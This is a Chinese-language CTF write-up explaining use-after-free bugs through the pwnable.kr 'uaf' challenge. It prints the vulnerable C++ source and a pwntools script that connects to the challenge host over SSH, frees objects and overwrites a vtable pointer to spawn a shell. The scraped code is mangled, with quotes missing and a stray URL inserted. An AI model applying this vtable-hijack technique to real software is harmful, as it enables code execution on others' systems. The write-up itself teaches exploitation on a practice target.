首页 > 代码库 > Use-After-Free

Use-After-Free

0x00 UAF利用原理

uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态(这个指针可以称为恶性迷途指针),同样被释放的内存如果被恶意构造数据,就有可能会被利用。

0x01 UAF漏洞的利用步骤

(1)先精心构造一个迷途指针

(2)再精心构造数据填充被释放的内存区域

(3)再次使用该指针,改变程序流程

0x02 Pwnable.kr-uaf

源码如下;

技术分享
 1 #include <fcntl.h> 2 #include <iostream>  3 #include <cstring> 4 #include <cstdlib> 5 #include <unistd.h> 6 using namespace std; 7  8 class Human{ 9 private:10     virtual void give_shell(){11         system("/bin/sh");12     }13 protected:14     int age;15     string name;16 public:17     virtual void introduce(){18         cout << "My name is " << name << endl;19         cout << "I am " << age << " years old" << endl;20     }21 };22 23 class Man: public Human{24 public:25     Man(string name, int age){26         this->name = name;27         this->age = age;28         }29         virtual void introduce(){30         Human::introduce();31                 cout << "I am a nice guy!" << endl;32         }33 };34 35 class Woman: public Human{36 public:37         Woman(string name, int age){38                 this->name = name;39                 this->age = age;40         }41         virtual void introduce(){42                 Human::introduce();43                 cout << "I am a cute girl!" << endl;44         }45 };46 47 int main(int argc, char* argv[]){48     Human* m = new Man("Jack", 25);49     Human* w = new Woman("Jill", 21);50 51     size_t len;52     char* data;53     unsigned int op;54     while(1){55         cout << "1. use\n2. after\n3. free\n";56         cin >> op;57 58         switch(op){59             case 1:60                 m->introduce();61                 w->introduce();62                 break;63             case 2:64                 len = atoi(argv[1]);65                 data = http://www.mamicode.com/new char[len];66                 read(open(argv[2], O_RDONLY), data, len);67                 cout << "your data is allocated" << endl;68                 break;69             case 3:70                 delete m;71                 delete w;72                 break;73             default:74                 break;75         }76     }77 78     return 0;    79 }
uaf

 根据分析源码,大致漏洞利用思路:

因为在main函数开始处已经申请了两块内存

    Human* m = new Man("Jack", 25);    Human* w = new Woman("Jill", 21);

我们只要执行case 3就可以让这两个指针成为迷途指针,加以利用

case 3:                delete m;                delete w;                break;

观察到case 2 申请了一块内存,并且对这块内存进行写操作

case 2:                len = atoi(argv[1]);                data = new char[len];                read(open(argv[2], O_RDONLY), data, len);                cout << "your data is allocated" << endl;                break;

在具体利用之前我们先简单分析一下此时堆内存的分配情况,具体是c++类存在虚函数时的分配情况,我这里不细说,只给出结论,具体的可以参照

1.IDA pro第二版124面

2.c++类实例在内存中的分配 (转)

此时堆内存分配大致如下图所示:

技术分享

加上case 1中执行introduce函数

case 1:                m->introduce();                w->introduce();                break;

vtable指针指向类的虚函数表,introduce函数处于虚函数表第二项,即*(vtable+8)所指向的地址,又知道在虚表中give_shell函数的位置等于introduce函数位置 - 8.意思是假如我们先把vtable的值覆盖为vtable - 8,那么再执行introduce函数时就相当于执行give_shell函数。

通过IDA逆向分析,我们找到类Man的vtable的地址为0x401570.

利用脚本如下:

from pwn import *pwn_ssh = ssh(host=pwnable.kr,user=uaf,password=guest,port=2222)print pwn_ssh.connected()vtable_addr = 0x401570argv=[uaf,24,p64(vtable_addr - 8)]io = pwn_ssh.process(argv,executable=./uaf)io.recvuntil(3. free\n)io.sendline(3)io.recvuntil(3. free\n)io.sendline(2)io.recvuntil(3. free\n)io.sendline(1)io.interactive()

0x03 参考链接

pwnable.kr之uaf

逆向安全系列:Use After Free漏洞浅析

iOS冰与火之歌 – UAF and Kernel Pwn

Use-After-Free